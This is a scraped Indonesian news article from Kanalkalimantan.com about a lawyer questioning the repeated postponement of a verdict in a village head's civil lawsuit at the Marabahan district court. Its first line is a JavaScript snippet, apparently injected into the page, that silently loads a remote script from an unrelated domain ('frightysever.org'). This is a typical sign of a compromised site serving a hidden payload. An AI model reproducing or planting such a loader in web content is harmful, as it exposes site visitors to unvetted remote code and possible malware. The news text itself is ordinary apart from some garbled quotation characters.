(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,MARABAHAN – Kuasa hukum Endang Sudrajat, Pazri dari Lembaga Bantuan Hukum Borneo Nusantara (LBH BN) mempertanyakan penundaan putusan perkara perdata gugatan yang diajukan Kepala Desa Kolam Kanan di Pengadilan Negeri (PN) Marabahan, Rabu (12/7/2023) siang.
Pazri mengungkapkan kekecewaannya, seharusnya jika sesuai jadwal hari ini adalah agenda persidangan PN Marabahan yang membacakan putusan gugatan dengan nomor register 16/Pdt.G/2022/PN Mrh, berkaitan dengan dugaan perbuatan melawan hukum ternyata ditunda.
Pihak yang digugat oleh Endang Sudrajat itu ialah Kepala Inspektorat Barito Kuala, Kadis DPMD Kabupaten Barito Kuala dan Asisten Bidang Pemerintahan, telah diajukan tuntutan ganti rugi sebesar Rp15 miliar.
Baca juga: Korupsi Dana Desa, Mantan Kades di HSU Dituntut 6 Tahun
Menurut Pazri, penundaan pembacaan putusan kali ini bukan yang pertama kali karena sebelumnya juga terjadi penundaan setelah penyimpulan.
Selain itu, pihaknya tidak mendapatkan alasan yang jelas mengenai penundaan pembacaan putusan tersebut baik dari majelis hakim maupun Humas PN Marabahan.
“Padahal hanya dua minggu yang lalu, setelah penyimpulan telah terjadi penundaan. Oleh karena itu, kami mempertanyakan penundaan yang terjadi pada hari ini,†jelas Pazri, Rabu (12/7/2023) petang.
Baca juga: Korupsi Proyek Irigasi Mandiangin PUPR Banjar, Kontraktor Pelaksana Divonis 3 Tahun Â
Ia berharap majelis hakim dapat mempertimbangkan dengan objektif semua dalil-dalil yang diajukan dalam gugatan ini.
“Kami berharap majelis hakim kedepan dapat bersikap objektif dalam menilai semua argumen yang diajukan dalam gugatan klien kami, Kepala Desa Kolam Kanan, sehingga klien kami dapat mendapatkan keadilan,†pungkas Pazri.
Penundaan putusan sidang perkara perdata yang dialami di PN Marabahan dapat memiliki dampak negatif yang signifikan yang dapat menimbulkan ketidakpastian bagi pihak yang terlibat dalam perkara.
Dalam konteks ini, penting bagi sistem peradilan untuk menjaga ketepatan waktu dalam memberikan putusan, sehingga dapat memastikan hak-hak semua pihak dihormati dan menjaga integritas serta kepercayaan masyarakat terhadap lembaga peradilan. Â (Kanalkalimantan.com/rdy)
Reporter : rdy
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.